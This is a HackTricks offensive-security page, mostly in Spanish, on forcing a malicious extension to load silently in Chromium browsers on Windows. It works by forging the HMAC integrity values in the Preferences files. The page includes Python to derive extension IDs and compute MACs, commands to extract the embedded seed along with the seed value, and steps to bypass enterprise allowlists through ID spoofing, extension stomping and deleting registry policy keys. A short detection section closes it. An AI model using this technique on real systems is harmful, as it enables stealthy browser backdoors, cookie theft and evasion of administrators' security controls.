Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 9 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Descripción general
Técnica de post-explotación sigilosa para forzar la carga de extensiones arbitrarias en navegadores basados en Chromium en Windows editando las Preferences/Secure Preferences de un usuario y falsificando HMACs válidos para los nodos modificados. Funciona contra Chrome/Chromium, Edge y Brave. Observado aplicándose desde Chromium 130 hasta 139 en el momento de la publicación. Un simple primitivo de escritura en disco en el perfil de la víctima basta para persistir una extensión con todos los privilegios sin command-line flags ni avisos al usuario.
Idea clave: Chromium almacena el estado por usuario de las extensiones en un archivo de preferencias JSON y lo protege con HMAC-SHA256. Si calculas MACs válidos con la semilla incrustada del navegador y los escribes junto a tus nodos inyectados, el navegador acepta y activa la entrada de tu extensión.
Dónde vive el estado de la extensión (Windows)
- Non–domain‑joined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (incluye una raíz "super_mac").
- Domain‑joined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Nodos clave usados por Chromium:
- extensions.settings.<extension_id> → manifest/metadata incrustado para la entrada de la extensión
- protection.macs.extensions.settings.<extension_id> → HMAC para ese bloque JSON
- Chromium ≥134: extensions.ui.developer_mode (boolean) debe estar presente y firmado con MAC para que las extensiones sin empaquetar se activen
Esquema simplificado (ilustrativo):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Notas:
- Edge/Brave mantienen estructuras similares. El valor de protección de la semilla puede diferir (se observó que Edge/Brave usan una semilla null/otra en algunas builds).
Extension IDs: path vs key and making them deterministic
Chromium deriva el ID de la extensión como sigue:
- Extensión empaquetada/firmada: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
- Desempaquetada (sin "key" en manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
Para mantener un ID estable entre hosts, inserta una base64 DER public key fija en manifest.json bajo "key". El ID se derivará de esta "key" en lugar de la ruta de instalación.
Helper to generate a deterministic ID and a key pair:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Añade la clave pública generada a tu manifest.json para fijar el ID:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Forging Preferences integrity MACs (core bypass)
Chromium protege las preferencias con HMAC‑SHA256 sobre "path" + el valor JSON serializado de cada nodo. La HMAC seed está incrustada en resources.pak del navegador y seguía siendo válida hasta Chromium 139.
Extrae la seed con GRIT pak_util y localiza el seed container (file id 146 en las builds probadas):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Calcule MACs (hexadecimal en mayúsculas) como:
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Ejemplo mínimo en Python:
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Escribe los valores en:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
Implementation tips
- Usa exactamente la misma serialización JSON que Chromium usa al calcular los MACs (JSON compacto sin espacios en blanco funciona en la práctica; ordenar las claves puede ayudar a evitar problemas de orden).
- Asegúrate de que extensions.ui.developer_mode exista y esté firmado en Chromium ≥134, o tu entrada unpacked no se activará.
End‑to‑end silent load flow (Windows)
- Genera un ID determinista e incorpora "key" en manifest.json; prepara una extensión MV3 unpacked con los permisos deseados (service worker/content scripts)
- Crea extensions.settings.
insertando el manifest y los metadatos mínimos de instalación requeridos por Chromium (state, path para unpacked, etc.) - Extrae la HMAC seed de resources.pak (file 146) y calcula dos MACs: uno para el nodo settings y otro para extensions.ui.developer_mode (Chromium ≥134)
- Escribe los nodos y MACs manipulados en Preferences/Secure Preferences del perfil objetivo; el siguiente lanzamiento activará automáticamente tu extensión con todos los privilegios declarados
Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
- Instala una extensión permitida del Web Store y anota su ID
- Obtén su public key (p. ej., mediante chrome.runtime.getManifest().key en el background/service worker o extrayendo/analizando su .crx)
- Establece esa key como manifest.key en tu extensión modificada para reproducir el mismo ID
- Registra la entrada en Preferences y firma los MACs → se evaden las comprobaciones de ExtensionInstallAllowlist que solo coinciden por ID
-
Extension stomping (ID collision precedence)
-
Si una extensión local unpacked comparte ID con una extensión instalada desde el Web Store, Chromium prefiere la unpacked. Esto reemplaza efectivamente a la extensión legítima en chrome://extensions manteniendo el ID de confianza. Verificado en Chrome y Edge (p. ej., Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Las políticas de Chrome/Edge residen bajo HKCU\Software\Policies*
-
Con derechos de admin, elimina/modifica las claves de política antes de escribir tus entradas para evitar bloqueos:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Fallback ruidoso: carga por línea de comandos
Desde Chromium ≥137, --load-extension también requiere pasar:
--disable-features=DisableLoadExtensionCommandLineSwitch
Este enfoque es ampliamente conocido y monitorizado (por ejemplo, por EDR/DFIR; utilizado por commodity malware como Chromeloader). Preference MAC forging es más sigiloso.
Related flags and more cross‑platform tricks are discussed here:
Impacto operativo
Una vez aceptada, la extensión se ejecuta con los permisos declarados, permitiendo acceso al DOM, intercepción/redirecciones de requests, acceso a cookies/almacenamiento y captura de pantallas — efectivamente ejecución de código en el navegador y persistencia duradera del perfil de usuario. El despliegue remoto vía SMB u otros canales es sencillo porque la activación está dirigida por datos vía Preferences.
Detección y hardening
- Monitorear procesos no‑Chromium que escriban en Preferences/Secure Preferences, especialmente nuevos nodos bajo extensions.settings emparejados con entradas protection.macs
- Generar alertas por cambios inesperados de extensions.ui.developer_mode y por entradas de extensiones con HMAC válido pero no aprobadas
- Auditar HKCU/HKLM Software\Policies por manipulación; aplicar políticas vía device management/Chrome Browser Cloud Management
- Preferir forced‑install desde la store con publishers verificados en lugar de allowlists que coincidan solo por extension ID
Referencias
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.